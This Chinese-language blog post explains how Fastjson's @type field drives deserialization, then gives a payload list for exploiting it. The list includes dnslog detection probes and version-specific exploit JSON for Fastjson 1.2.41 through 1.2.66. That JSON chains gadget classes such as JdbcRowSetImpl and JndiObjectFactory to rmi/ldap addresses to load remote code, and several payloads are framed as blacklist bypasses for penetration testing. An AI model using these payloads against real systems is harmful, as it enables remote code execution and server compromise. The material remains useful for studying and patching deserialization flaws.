菜雞一個,大師傅路過,如果不喜,勿噴
Fastjson真-簡-介
fastjson是由alibaba開發並維護的一個json工具,以其特有的演算法,號稱最快的json庫
fastjson的使用
首先先創一個簡單的測試類User
public class user {
public String username;
public String password;
public user(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
使用fastjson進行序列化和反序列化操作
public class Fastjson {
public static void main(String[] args) {
user user = new user("Bob", "123.com");
//序列化方式--指定類和不指定類
String json1 = JSON.toJSONString(user);
System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"}
//反序列化
//預設解析為JSONObject
System.out.println(JSON.parse(json1)); //{"password":"123.com","username":"Bob"}
System.out.println(JSON.parse(json1).getClass().getName()); //com.alibaba.fastjson.JSONObject
//依據序列化中的@type進行自動反序列化成目標物件型別
System.out.println(JSON.parse(json2)); //com.aur0ra.sec.fastjson.user@24b1d79b
System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user
//手動指定type,反序列化成目標物件型別
System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user
}
}
上述的序列化和反序列化操作,一定要手動實踐。
執行後你會發現,使用JSON.toJSONString進行序列化時,可以設定是否將物件的型別也作為序列化的內容。當對字串進行反序列化操作時,如果序列化字串中有@type則會按照該型別進行反序列化操作,而如果沒有該屬性,則預設都返回JSONObject物件(一種字典型別資料儲存)。當沒有@type,但又想反序列化成指定的類物件時,需要通過JSON.parseObject()同時傳入該類的class物件,才能反序列成指定的物件。
注意:反序列化的物件必須具有預設的無參構造器和get|set方法,反序列化的底層實現就是通過無參構造器和get .set方法進行的
漏洞點:由於序列化資料是從客戶端傳送的,如果將type屬性修改成惡意的型別,再傳送過去,而接收方進行正常的反序列化操作時,不就可以實現任意類的反序列化操作!!!
原理探究
序列化
...
public static final String toJSONString(Object object, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter();
try {
JSONSerializer serializer = new JSONSerializer(out);
for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
serializer.config(feature, true);
}
serializer.write(object);
return out.toString();
}
}
...
當指定要將類的名字寫入到序列化資料中時,就是將其寫入到JSONSerializer的配置中,當執行寫操作時,JSONSerializer會依據config,進行序列化操作。
手動指定類物件進行反序列化
當手動指定類物件時,JSON會根據指定的Class進行載入和對映。
自動反序列化
跟了比較久,容易跟丟
第一張是呼叫圖,第二張圖是自動反序列化的關鍵點。在這裡,首先就是會先進行詞法分析(不知道的可以理解為按一定格式的將字串分割),提取到字串後,進行匹配,如果存在@type,那麼就會進行如圖中的動態載入物件,再完成後續操作,這也就是為什麼可以實現自動類匹配載入。
fastjson反序列化利用
上面的篇幅,相信應該講清楚了,傳入@type實現自動類匹配載入的原理。
上面也提到了,只要我們可以控制@type類就可以載入任意我們想要載入的類,從而實現漏洞利用
POC
// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支援 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
在對滲透點判斷是否存在fastjson反序列化時,可以利用dnslog進行漏洞驗證
預設情況下,fastjson只對public屬性進行反序列化操作,如果POC或則EXP中存在private屬性時,需要服務端開啟了SupportNonPublicField功能。
EXP
v1.2.41
漏洞簡介:
fastjson判斷類名是否以L開頭、以;結尾,是的話就提取出其中的類名再載入。
exp
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\
v1.2.42
1.2.42 版本新增了校驗機制,如果輸入類名的開頭和結尾是l和;就將頭和尾去掉,再進行黑名單驗證。
所以繞過需要在類名外部巢狀兩層L;。
exp
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson>=1.2.45 autoTypeSupport 屬性預設為關閉
fastjson = 1.2.45
利用條件
1)、目標服務端存在mybatis的jar包。
2)、版本需為 3.x.x ~ 3.5.0
3)、autoTypeSupport屬性為true才能使用。(fastjson >= 1.2.25預設為false)
exp
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
fastjson <= 1.2.47
漏洞簡介:
首先使用java.lang.CLass把獲取到的類快取到mapping中,然後直接從快取中獲取到了com.sun.rowset.JdbcRowSetlmpl這個類,繞過黑名單機制。
利用條件
小於 1.2.48 版本的通殺,autoType為關閉狀態也可以。
loadClass中預設cache設定為true。
exp
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
} }
fastjson <= 1.2.62
黑名單繞過
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
fastjson <= 1.2.66
利用條件:
autoTypeSupport屬性為true才能使用。(fastjson >= 1.2.25預設為false)
漏洞簡介:
基於黑名單繞過。
exp
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"@type":"java.util.Properties","UserTransacti
on":"ldap://x.x.x.x:1389/Calc"}}
ENDING
There is no system which has absolute SECURITY!
U Know It,U Hack It!
Reference:http://www.lmxspace.com/2019/06/29/FastJson-反序列化學習/